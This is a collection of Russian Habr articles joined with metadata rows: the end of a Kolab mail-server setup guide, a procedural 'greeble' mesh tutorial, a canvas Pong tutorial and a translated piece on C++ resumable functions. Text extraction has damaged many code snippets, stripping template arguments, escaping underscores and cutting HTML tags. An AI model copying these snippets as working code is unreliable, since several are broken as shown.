Теперь лишь осталось его активировать добавив его в $config['plugins'] массив в файле /etc/roundcubemail/config.inc.php
```
sed -i "/'contextmenu',/a \ 'zipdownload'," /etc/roundcubemail/config.inc.php
```
Еще один момент: в модуле php\_zlib, в версиях поставляемых с дистрибутивами есть баг, в результате которого, если в письме есть файлы с кирилическими именами, то при упаковке в zip-файл их имена превращаются в кракозябру.
Что бы решить это, соберем новый php\_zlib:
```
yum -y install php-devel zlib-devel pcre-devel gcc
pecl install zip
```
Kolab ActiveSync Server
-----------------------
Еще пара слов об синхронизации: сервис kolab-synroton (форк [z-push](https://z-push.org/)) по умолчанию имеет 2 режима работы: folder-mode и flat-mode.
В случае с folder-mode все папки которые вы отметите в настройках синхронизации в Roundcube передаются как есть.
В случае же с flat-mode все эти же папки объединяются в одну для почты, одну для контактов, одну для календаря…
Apple и Windows техника по умолчанию работает в folder-mode, но вот для Android, ввиду слабой поддержки folder-mode (так говорят разроботчики), по умолчанию включен flat-mode.
При желании вы можете попробовать и если ваше устройство все таки поддерживает folder-mode, вы можете внести его название в массив $ext\_devices в файле /usr/share/kolab-syncroton/lib/kolab\_sync\_data.php
Заключение
----------
На этом установку можно считать законченной, еще раз рестартуем все сервисы и проверяем запускаются ли они автоматически при старте системы.
Почтовый клиент доступен по ссылке: [mail.example.org/webmail](https://mail.example.org/webmail)
Админка: [mail.example.org/kolab-webadmin](https://mail.example.org/kolab-webadmin)
Вы так же можете настроить автоматический редирект с [mail.example.org](https://mail.example.org/) на [mail.example.org/webmail](https://mail.example.org/webmail)
```
sed -i -e 's//\n RedirectMatch \^\/$ \/webmail\//g' /etc/httpd/conf/httpd.conf
```
**UPD:** Недавно [sattellite](https://habrahabr.ru/users/sattellite/) обратился ко мне с проблемой, что не работают sieve-правила, если папка, в которую нужно доставить письмо, имеет кириллическое имя.
Решение оказалось довольно простым:
```
echo 'sieve_utf8fileinto: 1' >> /opt/kolab-crosslab.ru/etc/imapd.conf
```
*спасибо!*
Docker образ
------------
В качестве бонуса прилагаю к статье свой образ Kolab'а для Docker где все вышеописанное и nginx в придачу, настраивается автоматически: **[GitHub](https://github.com/kvaps/docker-kolab), [DockerHub](https://registry.hub.docker.com/u/kvaps/kolab/)**
**Официальный сайт проекта: [kolab.org](https://kolab.org/)** | https://habr.com/ru/post/260527/ | null | ru | null |
# Усложняем Sci-fi-модели процедурно: что такое Greeble и как его использовать
Для начала позвольте мне пожаловаться, что «greeble» — ужасное слово, которое нужно изгнать из словаря.
Ну, сняв камень с души, перейдём к объяснениям. Greeble — это мелкие повторяющиеся детали, добавляемые к модели, чтобы придать ей ощущение масштаба и определённой эстетики. Гриблы стали популярны благодаря классическим научно-фантастическим фильмам, в которых «моделью» часто была физическая скульптура:
Если вы уже знаете из моего [туториала по экструдированию](https://lindenreid.wordpress.com/2017/11/05/procedural-mesh-extrusion-tutorial/), как экструдировать процедурные меши, то понимаете, как добавить гриблы. Добавление простых **гриблов** к мешу можно реализовать **экструдированием** всех полигонов меша на **случайную длину**.
Однако вы могли заметить, что представленный выше туториал рассматривает только экструдирование треугольников, в то время как на изображении в начале статьи гриблы квадратные. Мне пришлось настроить меш так, чтобы он был разделён на четырёхугольники, и многие меши часто состоят из полигонов с более чем тремя индексами. Поэтому в этом туториале мы узнаем, как **экструдировать полигон с n индексами** и применим этот алгоритм ко всему мешу, чтобы создать гриблы. Также мы узнаем пару способов внесения вариаций в алгоритм гриблинга для получения менее однородных результатов.
Нормаль поверхности
-------------------
Для начала давайте узнаем, как вычисляется нормаль полигона с произвольными n индексами. Если мы можем предположить, что этот полигон **планарный**, то есть все его вершины находятся на одной плоскости, то процесс не отличается от вычисления нормали полигона с тремя индексами.
**Нормаль поверхности** — это перпендикуляр к грани полигона, который можно вычислить, взяв **векторное произведение двух векторов, указывающих вдоль ребра полигона**.
Тогда мы **нормализуем** этот вектор, чтобы его длина была равна 1, так как от нормали поверхности нам нужно только направление, а не длина.
>
> ```
> function getFaceNormal (mesh, poly)
> Vec3 v1 = mesh:getVertex(poly[1])
> Vec3 v2 = mesh:getVertex(poly[2])
> Vec3 v3 = mesh:getVertex(poly[3])
> Vec3 e1 = v2 - v1
> Vec3 e2 = v3 - v2
> Vec3 normal = e1:cross(e2)
> return normal:normalize()
> end
> ```
>
Если мы не можем с уверенностью допустить, что полигон планарен, то представленный выше алгоритм отдаёт предпочтение плоскости, на которой находятся первые два индекса. Для более точного представления направления, в котором указывает полигон, мы можем вместо этого взять **среднее всех векторных произведений рёбер**:
>
> ```
> function getFaceNormal (mesh, poly)
> Vec3 n = Vec3(0, 0, 0)
> for i = 1, #poly -2 do
> Vec3 v1 = mesh:getVertex(poly[1])
> Vec3 v2 = mesh:getVertex(poly[1+ i])
> Vec3 v3 = mesh:getVertex(poly[2+ i])
> n:add((v2 - v1):cross(v3 - v1))
> end
> return n:normalize()
> end
> ```
>
*Пример, показывающий экструдирование планарного четырёхугольника.*
Экструдирование
---------------
Теперь, когда у нас есть информация о нормали поверхности, мы готовы экструдировать полигон в направлении нормали. Если говорить просто, то для экструдирования полигона мы создаём новые вершины, перенося старые вершины в направлении нормали поверхности.
Более подробно:
1. Создаём **новые вершины «над» старыми** в направлении нормали.
Новые вершины можно вычислить следующим образом:
>
> ```
> (позиция старой вершины) + (направление нормали)
> ```
>
Это «сдвигает» старую позицию в направлении нормали поверхности.
Например, посмотрите на изображение выше, на нём **v1 перемещается в направлении нормали к v5.**
2. Создаём **четырёхугольники**, чтобы связать новые и старые вершины.
Следует учесть, что для каждого индекса в новом полигоне создаётся один новый четырёхугольник.
Например, взгляните на **четырёхугольник, созданный из v8, v7, v3 и v4**.
3. Заменяем старый полигон **новым полигоном, созданным новыми вершинами.** Например, взгляните на четырёхугольник, созданный из v5, v6, v7 и v8.
>
> ```
> function extrudePoly (mesh, polyIndex, length)
> int[] poly = mesh.polys[polyIndex]
> int[] newPoly = []
> Vec3 n = getFaceNormal(mesh, poly)
>
> -- (1) Create extruded verts
> for j = 1, #poly do
> local p = mesh:getVertex(poly[j])
> newPoly[#newPoly + 1] = #mesh.verts
> -- length determines the length of the extrusion
> mesh:addVertex(p + (n*length))
> end
>
> -- (2) Stitch extrusion sides with quads
> for j0 = 1, #poly do
> local j1 = j0 % #poly + 1
> mesh:addQuad(
> poly[j0],
> poly[j1],
> newPoly[j1],
> newPoly[j0]
> )
> end
>
> -- (3) Move existing face to extruded verticies
> for j = 1, #poly do
> mesh.polys[pi][j] = newPoly[j]
> end
> end
> ```
>
*Равномерный гриблинг.*
Гриблинг всего меша
-------------------
Теперь, когда у нас есть функция getSurfaceNormal() и функция extrude(), выполнить гриблинг очень просто! Мы просто **применяем функцию extrude() к каждому полигону меша**. Используем экструдирование со **случайной длиной**, чтобы каждый экструдированный полигон имел немного отличающийся размер, что создаёт ощущение текстуры. Показанный ниже алгоритм применён к представленному выше кубу, который полностью состоит из четырёхугольников.
>
> ```
> function greeble (mesh)
> for i = 1, #mesh.polys do
> -- these random values are arbitrary :p
> float length = random:getUniformRange(0.1, 1.0)
> extrudePoly(mesh, i, length)
> end
> return mesh
> end
> ```
>
Поздравляю, наш гриблинг заработал. Но мы можем сделать больше! Сейчас гриблинг довольно однородный. Вот два примера модификаций, позволяющих сделать его более интересным.
#### Модификация 1: наличие гриблинга зависит от случайности
Это довольно просто: всего лишь бросаем кубик, чтобы определить, нужно ли применять гриблинг к каждому полигону. Благодаря этому гриблинг становится менее однородным. Показанный ниже алгоритм применён к представленному выше кубу.
>
> ```
> for i = 1, #mesh.polys do
> **if random:chance(0.33) then**
> float length = random(0.1, 1.0)
> extrudePoly(mesh, i, length)
> end
> end
> return mesh
> end
> ```
>
#### Модификация 2: добавляем экструдированию масштаб
Для этого требуется изменить алгоритм экструдирования. Когда мы создаём вершины экструдированного полигона, мы можем **свести их по направлению к центру полигона** на случайную величину, чтобы объект выглядел интереснее.
Для начала наша функция extrude() должна получать дополнительный параметр, определяющий величину сужения нового полигона. Мы определим его как Vec3 под названием `scale`. Чтобы переместить вершину по направлению к центру, мы **интерполируем позицию вершины** между её **исходной позицией** и **центром полигона** на величину `scale`.
(Если вам нужно узнать алгоритм нахождения центра полигона, то рекомендую быстро перескочить к [туториалу о триангуляции](https://lindenreid.wordpress.com/2017/12/03/simple-mesh-tessellation-triangulation-tutorial/) и прочитать о триангуляции средней точки (centroid triangulation).)
>
> ```
> -- find the center of the poly
> Vec3 c = mesh:getFaceCentroid(poly)
> for j = 1, #poly do
> local p = mesh:getVertex(poly[j])
> newPoly[#newPoly + 1] = #mesh.verts
> self:addVertex (
> math.lerp(c.x, p.x, scale.x) + n.x * length,
> math.lerp(c.y, p.y, scale.y) + n.y * length,
> math.lerp(c.z, p.z, scale.z) + n.z * length
> )
> mesh:addVertex(p + (n*length))
> end
> ```
>
Теперь можно использовать его в алгоритме гриблинга, отмасшабировав на случайную величину для каждого полигона. Так мы получим показанное выше изображение.
>
> ```
> function greeble (mesh)
> for i = 1, #mesh.polys do
> float length = random:getUniformRange(0.1, 1.0)
> Vec3 scale = (random:getUniformRange(0.1, 1.0),
> random:getUniformRange(0.1, 1.0),
> random:getUniformRange(0.1, 1.0))
> extrudePoly(mesh, i, length, scale)
> end
> return mesh
> end
> ```
>
Конец
-----
Отлично, мы добрались до завершения! Надеюсь, этот туториал был для вас полезным. | https://habr.com/ru/post/482316/ | null | ru | null |
# Canvas шаг за шагом: ПОНГ
Сегодня попробуем написать небольшую игру Понг используя html5 тег canvas. Те кто не хочет читать пост тот может сразу [ИГРАТЬ](http://www.html5canvas.ru/2011/04/pong.html).
Если верить [Википедии](http://ru.wikipedia.org/wiki/Pong_(%D0%B8%D0%B3%D1%80%D0%B0)), то можно узнать что **Pong** является простейшим симулятором настольного тенниса. Небольшой квадратик, заменяющий пинг-понговый мячик, двигается по экрану по линейной траектории. Если он ударяется о периметр игрового поля или об одну из нарисованных ракеток, то его траектория изменяется в соответствии с углом столкновения.
Геймплей состоит в том, что игроки передвигают свои ракетки вертикально, чтобы защищать свои ворота. Игрок получает одно очко, если ему удаётся отправить мячик за ракетку оппонента…
Мы попытаемся реализовать игру так что бы в неё можно было играть при помощи мыши, а оппонентом управлял компьютер. Итак приступим. Для начала определимся с тем что, для полного понимания происходящего в этой записи желательно ознакомиться с постом описывающим [основы](http://habrahabr.ru/blogs/html5/111308/).
Наш мегапроект будет состоять из двух файлов, соответственно *pong.htm* и *pong.js* которые собственно нужно создать и сохранить в одной папке.
Содержимое html файла:
> `<**html**>
>
> <**head**>
>
> <**meta** charset = "utf-8">
>
> <**title**>html5Pong</**title**>
>
> <**script** src="pong.js"></**script**>
>
> </**head**>
>
> <**body**>
>
> id="pong">wtf?!</canvas>
>
> <**script**>init()</**script**>
>
> </**body**>
>
> </**html**>`
Собственно вся механика игры будет вынесена в файл pong.js и вносим в него первые строки нашей будущей игры:
> `*// Инициализация переменных*
>
> **function** init() {
>
> canvas = document.getElementById("pong");
>
> canvas.width = 480; *// задаём ширину холста*
>
> canvas.height = 320; *// задаём высоту холста*
>
> context = canvas.getContext('2d');
>
> draw();
>
> }
>
> *// Отрисовка игры*
>
> **function** draw() {
>
> context.fillStyle = "#000";
>
> context.fillRect(0, 0, 480, 320);
>
> }
>
> init();`
Если открыть html фал браузером то можно будет увидеть работу этого скрипта который собственно закрашивает наш холст в чёрный цвет.
### Игровые объекты
Все игровые объекты в Понге представляют собой прямоугольники и это существенно облегчит нашу задачу. Зададим небольшой класс Rect который будет содержать все нужные поля для отрисовки прямоугольника, а так же метод draw:
> `**function** rect(color, x, y, width, height) {
>
> **this**.color = color; *// цвет прямоугольника*
>
> **this**.x = x; *// координата х*
>
> **this**.y = y; *// координата у*
>
> **this**.width = width; *// ширина*
>
> **this**.height = height; *// высота*
>
> **this**.draw = **function**() *// Метод рисующий прямоугольник*
>
> {
>
> context.fillStyle = **this**.color;
>
> context.fillRect(**this**.x, **this**.y, **this**.width, **this**.height);
>
> }
>
> }`
Теперь слегка изменим содержимое функций инициализации и отрисовки добавив объекты игрового поля, игроков, «шарика»
> `*// Инициализация переменных*
>
> **function** init() {
>
> *// объект который задаёт игровое поле*
>
> game = **new** rect("#000", 0, 0, 480, 320);
>
> *// Ракетки-игроки*
>
> ai = **new** rect("#fff", 10, game.height / 2 - 40, 20, 80);
>
> player = **new** rect("#fff", game.width - 30, game.height / 2 - 40, 20, 80);
>
> *// количество очков*
>
> ai.scores = 0;
>
> player.scores = 0;
>
> *// наш квадратный игровой "шарик"*
>
> ball = **new** rect("#fff", 40, game.height / 2 - 10, 20, 20);
>
> canvas = document.getElementById("pong");
>
> canvas.width = game.width;
>
> canvas.height = game.height;
>
> context = canvas.getContext("2d");
>
> draw();
>
> }
>
> *// Отрисовка игры*
>
> **function** draw() {
>
> game.draw(); *// рисуем игровое поле*
>
> *// рисуем на поле счёт*
>
> context.font = 'bold 128px courier';
>
> context.textAlign = 'center';
>
> context.textBaseline = 'top';
>
> context.fillStyle = '#ccc';
>
> context.fillText(ai.scores, 100, 0);
>
> context.fillText(player.scores, game.width-100, 0);
>
> **for** (**var** i = 10; i < game.height; i += 45) *// линия разделяющая игровое поле на две части*
>
> {
>
> context.fillStyle = "#ccc";
>
> context.fillRect(game.width/2 - 10, i, 20, 30);
>
> }
>
> ai.draw(); *// рисуем левого игрока*
>
> player.draw(); *// правого игрока*
>
> ball.draw(); *// шарик*
>
> }`
Если теперь открыть файл, то можно увидеть все элементы нашей игры.
### Да будет жизнь
Конечно всё на данном этапе выглядит очень даже неплохо, но статичная картинка не то что нам нужно. Поэтому сейчас мы займёмся «оживлением» шарика. Для этого создадим новую функцию play () в которую вынесем вызов функции draw (), а саму play будем вызывать из init () посредством таймера, а именно setInterval (play, 1000 / 50). Координату y игрока мы привяжем к координате мыши передвигающейся по холсту. В функции update содержатся изменения которые следут произвести, такие как координаты мыши и прочие радости. Что бы не запутаться в произведенных действиях ниже код всего того файла pong.js который у нас должен выйти:
> `*// класс определяющий параметры игрового прямоугольника и метод для его отрисовки*
>
> **function** rect(color, x, y, width, height) {
>
> **this**.color = color;
>
> **this**.x = x;
>
> **this**.y = y;
>
> **this**.width = width;
>
> **this**.height = height;
>
> **this**.draw = **function**() {
>
> context.fillStyle = **this**.color;
>
> context.fillRect(**this**.x, **this**.y, **this**.width, **this**.height);
>
> };
>
> }
>
> *// движение игрока*
>
> **function** playerMove(e) {
>
> **var** y = e.pageY;
>
> **if** (player.height */ 2 + 10 < y && y < game.height - player.height /* 2 - 10) {
>
> player.y = y - player.height / 2;
>
> }
>
> }
>
> *// отрисовка игры*
>
> **function** draw() {
>
> game.draw(); *// рисуем игровое поле*
>
> *// рисуем на поле счёт*
>
> context.font = 'bold 128px courier';
>
> context.textAlign = 'center';
>
> context.textBaseline = 'top';
>
> context.fillStyle = '#ccc';
>
> context.fillText(ai.scores, 100, 0);
>
> context.fillText(player.scores, game.width - 100, 0);
>
> **for** (**var** i = 10; i < game.height; i += 45)
>
> *// линия разделяющая игровое поле на две части*
>
> {
>
> context.fillStyle = "#ccc";
>
> context.fillRect(game.width / 2 - 10, i, 20, 30);
>
> }
>
> ai.draw(); *// рисуем левого игрока*
>
> player.draw(); *// правого игрока*
>
> ball.draw(); *// шарик*
>
> }
>
> *// Изменения которые нужно произвести*
>
> **function** update() {
>
> *// меняем координаты шарика*
>
> ball.x += ball.vX;
>
> ball.y += ball.vY;
>
>
>
> }
>
> **function** play() {
>
> draw(); *// отрисовываем всё на холсте*
>
> update(); *// обновляем координаты*
>
> }
>
> *// Инициализация переменных*
>
> **function** init() {
>
> *// объект который задаёт игровое поле*
>
> game = **new** rect("#000", 0, 0, 480, 320);
>
> *// Ракетки-игроки*
>
> ai = **new** rect("#fff", 10, game.height / 2 - 40, 20, 80);
>
> player = **new** rect("#fff", game.width - 30, game.height / 2 - 40, 20, 80);
>
> *// количество очков*
>
> ai.scores = 0;
>
> player.scores = 0;
>
> *// наш квадратный игровой "шарик"*
>
> ball = **new** rect("#fff", 40, game.height / 2 - 10, 20, 20);
>
> *// скорость шарика*
>
> ball.vX = 2; *// скорость по оси х*
>
> ball.vY = 2; *// скорость по оси у*
>
> canvas = document.getElementById("pong");
>
> canvas.width = game.width;
>
> canvas.height = game.height;
>
> context = canvas.getContext("2d");
>
> canvas.onmousemove = playerMove;
>
> setInterval(play, 1000 / 50);
>
> }`
### Игровые столкновения
Самое интересное начнётся сейчас, нам нужно научить шарик не вылетать за пределы игрового поля, а так же соприкасаться с ракетками, для этого я написал небольшую функцию которая возвращает истинное значение если два игровых объекта соприкасаться. Ниже её код
> `**function** collision(objA, objB) {
>
> **if** (objA.x+objA.width > objB.x &&
>
> objA.x < objB.x+objB.width &&
>
> objA.y+objA.height > objB.y &&
>
> objA.y < objB.y+objB.height) {
>
> **return** **true**;
>
> }
>
> **else** {
>
> **return** **false**;
>
> }
>
> }`
Теперь что бы шарик не просто улетал за пределы игрового поля нам надо немного скорректировать функцию update, а именно
> `**function** update() {
>
> *// меняем координаты шарика*
>
> *// Движение по оси У*
>
> **if** (ball.y<0 || ball.y+ball.height>game.height) {
>
> *// соприкосновение с полом и потолком игрового поля*
>
> ball.vY = -ball.vY;
>
> }
>
> *// Движение по оси Х*
>
> **if** (ball.x<0) {
>
> *// столкновение с левой стеной*
>
> ball.vX = -ball.vX;
>
> player.scores ++;
>
> }
>
> **if** (ball.x+ball.width>game.width) {
>
> *// столкновение с правой*
>
> ball.vX = -ball.vX;
>
> ai.scores ++;
>
> }
>
> *// Соприкосновение с ракетками*
>
> **if** ((collision(ai, ball) && ball.vX<0) || (collision(player, ball) && ball.vX>0)){
>
> ball.vX = -ball.vX;
>
> }
>
> *// приращение координат*
>
> ball.x += ball.vX;
>
> ball.y += ball.vY;
>
> }`
Теперь в нашу игру практически можно играть, мячик летает правильно, ракетки его могут отбивать, оппонент правда у нас слегка труп, но это мы поправим, небольшой функцией
> `**function** aiMove() {
>
> **var** y;
>
> *// делаем скорость оппонента на две единицы меньше чем скорость шарика*
>
> **var** vY = Math.abs(ball.vY) - 2;
>
> **if** (ball.y < ai.y + ai.height/2) {
>
> y = ai.y - vY;
>
> }
>
> **else** {
>
> y = ai.y + vY;
>
> }
>
> **if** (10 < y && y < game.height - ai.height - 10) {
>
> ai.y = y;
>
> }
>
> }`
Вызов функции следует раместить в update.
### Итог
Собственно вот и написали, осталось лишь немного подлатать и вот он полноценный понг. Статистику сыгранных игр мы будем так же как и счёт выводить на экран, а изменения скорости привяжем к клику мыши. По [ссылке](http://jsfiddle.net/shpaker/a3TfX/) можно найти ПОНГ с простой статистикой, полный комментариев. | https://habr.com/ru/post/116860/ | null | ru | null |
# Resumable функции
На прошлой неделе в мире С++ произошло интересное событие. Компания Microsoft [объявила](http://herbsutter.com/2013/11/18/visual-c-compiler-november-2013-ctp/) о выходе обновления к компилятору С++ в Visual Studio 2013. Само по себе обновление компилятора отдельно от Visual Studio или её сервис-пака — уже нетривиальное для Microsoft событие. Но ещё интереснее то, что вошло в это обновление. Полный список можно почитать по ссылке выше, а я остановлюсь только на одном моменте — resumable функции. Для полного понимания ситуации: Microsoft изрядно протроллила и комитет по стандартизации С++ и разработчиков gcc\clang, выпустив (тут надо внимательно) реализацию экспериментальной и не утверждённой ещё возможности будущего стандарта C++17, основанной на экспериментальных и не утверждённых ещё возможностях будущего стандарта C++14, которые в свою очередь являются исправлениями не сильно ещё вошедших в повседневное программирование возможностей С++11.
Достаточно гиковский ход, не находите?
А ниже будет перевод статьи с [meetingcpp.com](http://meetingcpp.com/index.php/br/items/resumable-functions-async-and-await.html), рассказывающей о том, что это за фича и как её использовать.
На прошедшей недавно конференции BUILD Херб Саттер [рассказывал](http://channel9.msdn.com/Events/Build/2013/2-306) о будущем языка С++. Его доклад был полон красивых примеров на С++11 и С++14. И вдруг, прямо из ниоткуда — resumable функции. Херб — один из авторов документа, описывающего std::future и resumable функции, так что само их упоминание не было для меня сюрпризом, но вот что меня удивило, так это то, сколько внимания он уделил этой теме и упоминание того факт, что resumable функции войдут в обновление к Visual Studio 2013 (пусть не в сам релиз VS2013, но всё же намного раньше следующей версии IDE).
Я начну с небольшого спойлера: это возможность как минимум С++1y, она не войдёт в С++14, но в дальнейшем именно асинхронное и параллельное программирование будет в тренде развития языка, так что resumable функции станут органичной частью нового стандарта. В дальнейшем эта фича будет поддерживаться всеми компиляторами, а на данный момент Microsoft шагает впереди планеты всей с собственной реализацией. Не секрет, что данная функциональность имеет некоторую аналогию с async/await из языка C#.
##### Что такое resumable функции?
Это, вообще-то и есть главный вопрос, который мы тут пытаемся выяснить. Прежде чем я начну объяснять, чем бы это могло быть и как их определяет документ [N3650](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2013/n3650.pdf), я должен сделать небольшую остановку и рассказать, что такое futures, поскольку resumable функции основаны на том предположении, что std::future будет расширено методом .then(), как это предполагается в документе [N3634](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2013/n3634.pdf). future — это результат выполнения асинхронной операции. Это одно из базовых понятий асинхронного программирования. future — это место, где хранится информация о статусе выполнения асинхронной задачи и её результат, если он уже доступен. Вы можете вызывать метод get(), который дождётся завершения асинхронной операции и вернёт вам её результат (это уже реализовано в стандарте), либо зарегистрировать обработчик её завершения через метод .then() (который пока что не в стандарте). Отсутствие .then() в С++11 — одна из наиболее критикуемых ошибок, она наверняка будет исправлена в С++14, вместе с некоторыми другими улучшениями std::future.
С++11 добавил в С++ лямбды, так что в комбинации это даёт возможность построить цепочку асинхронных вызовов лямбда-функций (колбеков). Теперь будет возможно запустить выполнение асинхронной задачи и отреагировать на её завершение в обработчике, зарегистрированном через метод .then(). «Прочитать ответ сервера, then — распарсить его, then — обработать его, ...». С проверкой ошибок и логированием по ходу дела. Такой подход является обыденным делом в некоторых языках, но пока не в С++. Правильное понимание столь мощного механизма может серьёзно повлиять на то, как вы будете писать код в будущем.
Короткий пример, чтобы продемонстрировать std::future:
```
std::future f\_int = make\_dummy\_future(42);
int i = f\_int.get() // ждём окончания работы функции
f\_int.then([](std::future i){/\* deal with it \*/}) // регистрируем обработчик
```
Идея resumable функции в том, чтобы позволить компилятору самому позаботиться о построении цепочки futures, присоединённых друг к другу, и правильном их вызове через .then().
Достичь этого предлагается через объявление двух новых ключевых слов: async и await. Обратите внимание, в этом нет ничего общего с библиотекой std::async, это НЕ библиотека, это расширение языка программирования. Функция помечается ключевым словом async, после её объявления, но до её спецификации по генерируемым исключениям:
```
void resumable_function(int i) async
```
Так что теперь компилятор знает, что это resumable функция. И начинается веселье. Хотя это и функция, но всё же достаточно ограниченная по возможностям. Первое из них это её возвращаемый тип — он может быть либо void, либо std::future/std::shared\_future. Возможно, типы, которые могут быть преобразованы к std::(shared\_)future тоже будут разрешены, но вообще-то неявные преобразования — не лучшее решение здесь, так что, возможно, комитет решить выбрать строгое соответствие типов. Текущий документ ещё пока разрешает возвращать T, неявно конвертируя его в ````
std::future.
Внутри resumable функции вещи происходят тоже слегка иначе. Используя ключевое слово await теперь можно "завернуть" выражение или вызов функции в future, которая посчитает это выражение или вызов в другом потоке. Ключевое слово await здесь определяется как унарный оператор (аналогично, например, оператору "!").
И вот мы подоходим к интересному. Вы можете использовать ключевое слово await неоднократно - каждое его применение создаст std::future, которая начнёт выполняться в параллельном потоке. Давайте посмотрим на пример, который в своём докладе использовал Hartmut Kaiser - это рассчёт чисел Фибоначчи:
std::future fibonacci(uint64\_t n) async
{
if (n < 2) return std::make\_ready\_future(n);
std::future lhs = std::async(&fibonacci, n-1);
std::future rhs = fibonacci(n-2);
return await lhs + await rhs;
}
```
Вот так resumable функции будут выглядеть в коде. Оборачивание функции lhs в std::future не требуется, вы можете вызывать любую функцию с ключевым словом await, компилятор обернёт её в std::future за вас.
Как я писал ранее, resumable функции - специальный вид функций, поскольку первый await возвращает future вызвавшему и здесь всё становится чуть сложнее. Реализация механизма в компиляторе должна предусматривать нечто более сложное, чем просто стек функции, который будет уничтожен при первом же await. Реализация должна убедиться, что локальные данные функции будут всё еще достижимы коду за await. Но для программиста, который будет использовать этот механизм эти детали не должны играть роли, вся магия происходит за сценой.
##### Библиотечное решение
Когда я впервые познакомился с resumable функциями, одной из моих мыслей было "разве всё это нельзя реализовать без изменений языка?". Ответ - можно. Думаю, многие из читателей могли бы представить себе библиотечное решение с похожей функциональностью. В resumable функциях почти нет выигрыша по производительности работы скомпилированного кода. Вот каким образом Thomas Heller продемонстрировал предыдущий пример (рассчет чисел Фибоначчи) без resumable функций.
```
std::future< uint64_t> fibonacci(uint64_t n)
{
if (n < 2) return std::make_ready_future(n);
std::future lhs\_future = std::async(&fibonacci, n-1); //.unwrap();
std::future rhs\_future = fibonacci(n-2);
return
dataflow(
unwrapped([](uint64\_t lhs, uint64\_t rhs)
{
return lhs + rhs;
})
, lhs\_future, rhs\_future
);
}
```
Вот так оно может выглядеть. Но заметьте, "dataflow" будет иметь семантику await только являясь последним выражением функции. Только в этом случае можно вернуть объект future, соответствующий общему результату. Так что с С++11 или С++14 мы уже можем кое-что сделать и на уровне библиотек.
##### Так зачем изменять язык и вводить какие-то там resumable функции?
Как я писал выше, нет никаких прямых и видимых причин с точки зрения производительности, однако данное решение чуть более элегантно и имеет некоторые другие преимущества. Я разговаривал с Hartmut Kaiser об этой фиче и он дал мне чётко понять, что считает resumable функции хорошим решением. Он заметил, что благодаря возможности сохранять локальное состояние функции в некоторых случаях мы получим экономию на выделении\освобождении памяти. Библиотечные решения так или иначе будут вынуждены выделять и освобождать стек для вызовов своих функций, а вот решение на уровне языка может применить более эффективные приёмы.
##### Другие преимущества resumable функций
Скорость и производительность - не единственное (а может быть даже и не главное) в resumable функциях. Более приятное - сам их синтаксис, его легкость, простота и изящность. Вы можете просто начать писать код с использованием async/await, наряду с базовыми конструкциями языка типа (if/else, for и т.д.). Код становится чище. Вот пример из документа [N3650](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2013/n3650.pdf), в начале с использованием только std::future:
```
future f(shared\_ptr str)
{
shared\_ptr buf = ...;
return str->read(512, buf)
.then([](future op)// lambda 1
{
return op.get() + 11;
});
}
future g()
{
shared\_ptr s = ...;
return f(s).then([s](future op) // lambda 2
{
s->close();
});
}
```
А теперь напишем то же самое на resumable функциях:
```
future f(stream str) async
{
shared\_ptr buf = ...;
int count = await str.read(512, buf);
return count + 11;
}
future g() async
{
stream s = ...;
int pls11 = await f(s);
s.close();
}
```
Код с resumable функциями стал короче и намного лучше читаемым (что, на самом деле, самое важное в коде). Но настоящие преимущества начинают проявляться когда асинхронный код комбинируется с базовыми управляющими элементами языка. Я покажу вам короткий пример, который привел Herb Sutter в своём докладе на BUILD:
```
std::string read( std::string file, std::string suffix ) {
std::istream fi = open(file).get();
std::string ret, chunk;
while( (chunk = fi.read().get()).size() )
ret += chunk + suffix;
return ret;
}
```
Это простой пример "синхронной асинхронности" - в коде используется future::get() чтобы дождаться результата асинхронной операции в std::future. Неплохо было бы улучшить и ускорить этот код, заменив get() на then(). Давайте посмотрим, что выйдет.
```
task read( std::string file, std::string suffix ) {
return open(file)
.then([=](std::istream fi) {
auto ret = std::make\_shared();
auto next =
std::make\_shared>(
[=]{
fi.read()
.then([=](std::string chunk) {
if( chunk.size() ) {
\*ret += chunk + suffix;
return (\*next)();
}
return \*ret;
});
});
return (\*next)();
});
}
```
Для того чтобы использовать .then() корректно нам пришлось слегка усложнить код. А теперь давайте посмотрим как то же самое могло бы выглядеть на async/await:
```
task read( std::string file, std::string suffix ) \_\_async {
std::istream fi = \_\_await open(file);
std::string ret, chunk;
while( (chunk = \_\_await fi.read()).size() )
ret += chunk + suffix;
return ret;
}
```
В обоих случаях возвращаемое значение должно быть типа `task`, поскольку на момент возврата оно всё ещё может быть в процессе рассчёта. Версия с использованием await значительно проще, чем версия с .then(). Данная реализация использует ключевые слова __async и __await в том виде, в каком они будут добавлены в Visual Studio.
Давайте вернёмся к реальному коду. Вашей работой часто будет его поддержка, даже если его написал кто-то другой. Представьте себе цепочку из std::future, auto и .then выражений, с вкраплениями лямбда функций - скорее всего это не то, на что вам хотелось бы смотреть каждый день. Но именно этим всё и закончится без resumable функций. Этот код не будет менее производительным, но вот время, которое вы потратите на его модификацию будет значительно больше, чем в случае с простыми и логичными async/await. С использованием resumable функций компилятор берёт на себя массу отвлекающих деталей, заботится о корректности "границ" областей видимости, правильно заворачивает результаты вызовов асинхронных функций в std::future, так что на данный момент счёт как минимум 1:0 в пользу resumable функций.
Идём дальше. Мы уже выяснили, что resumable функции добаляют изящества в код и делают вещи более простыми. Но достаточно ли этого, чтобы вот прямо взять и изменить язык С++? Вряд ли. Должны быть и другие причины. И они есть. Смотрите - у нас есть 2 варианта: поддержка на уровне библиотек и поддержка на уровне языка. Если забыть о красоте синтаксиса - равнозначны ли они в остальном? Нет. Давайте представим себе, каким образом может происходить отладка асинхронного кода. В случае использования библиотечного решения вопрос отладки стоит очень остро. Вы пробовали отлаживать чужие библиотеки? Закрытые библиотеки? Даже в случае открытой библиотеки мы будем постоянно терять контекст при переходам по цепочке futures (стек-то у каждой функции свой). И не факт, что при возникновении ошибки мы будет в состоянии понять, как сюда попали, кто нас вызвал и почему. В случае же поддержки resumable функций на уровне языка все инструменты (компилятор, отладчик) так или иначе будут работать "в одной связке": компилятор может сгенерировать код, удобный для отладчика, у отладчика не будет варианта НЕ дать нам нужного для отладки функционала, он не будет ссылаться на написанный не нами код - мы просто получим всё необходимое "из коробки".
